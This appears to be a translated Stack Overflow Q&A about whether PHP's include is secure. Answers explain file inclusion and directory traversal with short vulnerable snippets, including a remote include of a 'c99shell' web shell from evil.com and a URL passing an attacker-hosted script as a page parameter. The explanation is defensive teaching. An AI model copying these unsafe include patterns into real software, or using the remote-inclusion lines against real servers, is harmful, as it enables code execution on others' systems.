PHP - “包含”功能安全吗?

Posted

技术标签:

【中文标题】PHP - “包含”功能安全吗?【英文标题】:PHP - Is "include" function secure? 【发布时间】:2012-04-26 06:14:41 【问题描述】:

我正在使用“include”函数(例如“include 'header2.php'”或“include 'class.users.php'”) 在我的网站中添加标题或会话类。我真的不记得在哪里,但我听说黑客滥用了,不知何故,这个“包含”的东西,发送虚假的包含页面或类似的东西。 所以基本上我想知道那个“包含”功能是什么,我该如何保护它,他们如何滥用它以及是否有更好的解决方案来满足我的需求。

提前致谢。

【问题讨论】:

如果有人可以访问您的 PHP 代码,那么他们就在您的服务器中。保护已经受到损害的东西是没有意义的。相反,请专注于通过修复所有应用程序的 SQL 注入漏洞来关闭入口点。 重点是,我听说'include "something.php"' 是不安全的或可破解的,还有SQL 注入。是真的吗? 如果使用不当,任何东西都可以被利用。只要您在includeing 静态 PHP 文件,您在这方面真的没有什么可担心的。 【参考方案1】:

这完全取决于您如何实现它。如果您专门设置了路径,那么它是安全的。如果您允许用户输入来确定文件路径而不进行清理或检查,则可能会发生攻击。

不安全(目录遍历)

<?php 
include($_GET['file']);
?>

不安全(URL fopen - 如果启用)

<?php 
include('http://evil.com/c99shell.php');
?>

不安全

<?php 
include('./some_dir/' . $_GET['file']);
?>

部分不安全(*.php 文件易受攻击)

<?php 
include('./some_dir/' . $_GET['file'] . '.php');
?>

安全(虽然不知道为什么有人会这样做。)

<?php 
$allowed = array(
    'somefile.php',
    'someotherfile.php'
);

if (in_array(basename($_GET['file']), $allowed)) 
    include('./includes/' . basename($_GET['file']));

?>

安全

<?php 
include('./includes/somefile.php');
?>

【讨论】:

【参考方案2】:

包含的最大问题可能是将 文件扩展名 从 PHP 更改为不会由 Web 服务器自动执行的内容。例如 - library.inc 或 config.inc。使用网络浏览器调用这些文件将显示代码而不是执行它 - 并且将显示任何密码或可利用的提示。

将可能包含密码的 config.phpconfig.inc 进行比较。在大多数情况下,打开 config.inc 会显示数据库密码是什么。

有些程序员对库使用 .inc 扩展名。前提是它们不会位于 Web 服务器可访问的目录中。但是,安全性较低的偏执程序员可能会将该文件转储到方便的 Web 目录中。

否则,请确保您不包含以某种方式由查询字符串提交的文件。例如:include( $_GET['menu_file'] )

【讨论】:

+1 关于可以作为代码包含的文件扩展名的好注释,但在浏览器中单独加载时会暴露您的代码。 “使用网络浏览器调用这些文件”是什么意思?假设您有一个公共名称为“example.com”的服务器。 (1)如果有人知道根目录下有一个名为“a.inc”的文件,可以直接用“http://example.com/a.inc”查看吗? (2) 如果他们不知道给定目录中存在哪些 .inc 文件,他们如何找到?【参考方案3】:

如果您执行以下操作,可能会滥用包含:

include($_GET["page"]);

然后调用网址:

myscript.php?page=index.php

然后,攻击者可以将index.php 替换为hxxp://hackerz.ru/install_stuff.php,您的服务器将很乐意运行它。

include 本身是完全安全的。只需确保始终验证/转义您的输入。

【讨论】:

【参考方案4】:

任何服务器端(假设您的服务器没有受到威胁)都是安全的。这样做:

$var = $_GET['var']';    
include $var . ".php";

不安全。

include "page.php"; 

是安全的。

【讨论】:

注意:假设page.php 是安全的。 ;) 当然,只要引用的文件是可信且安全的。【参考方案5】:

如果您不这样做,包含是安全的:

    包括一个远程文件,如www.someoneelsesssite.com/something.php 包含来自客户端的路径中的文件。 www.mysite.com/bad.php?path=oops/here/is/your/passwords/file 包括来自另一个可能被污染的来源(如数据库)的文件。

2 和 3 在技术上需要注意的是,如果您禁止 ./ 或在 Windows \ 上,您可能没问题。但是如果你不知道为什么,你就没有足够的了解去冒险。即使您认为数据库是只读的或其他安全的,明智的做法是不要假设除非您真的必须这样做,否则几乎永远不会。

正如 pp19dd 的回答所指出的那样。使用 .php 扩展名命名包含也很重要。如果您已设置 apache(或您正在使用的任何 Web 服务器)也将另一种文件类型解析为 PHP,那也是安全的。但如果您不确定,请仅使用 .php。

【讨论】:

@FritsvanCampen 同意,但作为一般规则,我试图从任何需要提出这个问题的人的角度来回答这些问题,并没有准备好承担任何形式的风险。如果您的代码的任何部分是“魔术”,您不应该冒险。 (通过魔术,我的意思是它基于你不理解的机制工作)【参考方案6】:

最好的办法是确保您尝试包含的页面首先存在。当您的包含页面是从某种用户输入(例如 URL 变量)处理时,真正的安全漏洞就出现了。 ?include=page.php只要注意这些就可以了。

if(is_file($file)) 
    //other code, such as user verification and such should also go here
    include $file;

else  die(); 

【讨论】:

这不会保护您免受任何伤害。你的密码文件是一个文件,php.ini 是一个文件,攻击者能找到的所有东西都是文件。 @DampeS8N:我并不是要暗示这是唯一要做的事情,只是说这是过程中的一个步骤。我还包括关于插入其他代码的评论,“用户验证等”。用户验证有助于确保没有“成员”敏感页面被访问。另一个代码可能是文件黑名单。我不知道为什么你的回答同样含糊不清。 不知道如何保护目录遍历攻击的人不应该在任何情况下尝试动态包含文件。您的回答表明您可以做的“最好”的事情是确保文件存在。相关的安全信息不是模糊的,它是不存在的。我没有对您投反对票以伤害您,如果您添加所需的信息,我将取消投反对票。并删除您对我的回答的反对意见或对您认为含糊的内容发表评论。【参考方案7】:

我正在使用这种方法。

<?php include (dirname(__FILE__).'/file.php');

【讨论】:

我希望这对您有用,但为了获得更好的答案,您实际上可以解释为什么会这样

以上是关于PHP - “包含”功能安全吗?的主要内容,如果未能解决你的问题,请参考以下文章

PHP - “包含”功能是否安全?

安全测试与功能测试渗透测试你知道有什么区别吗?

Web安全技术 实验报告四 文件包含与上传

我可以在 bootstrap-vue 项目中安全地包含 bootstrap.js 吗?

PHP安全配置之禁用参数

php变量可以安全地保存有害代码吗? [关闭]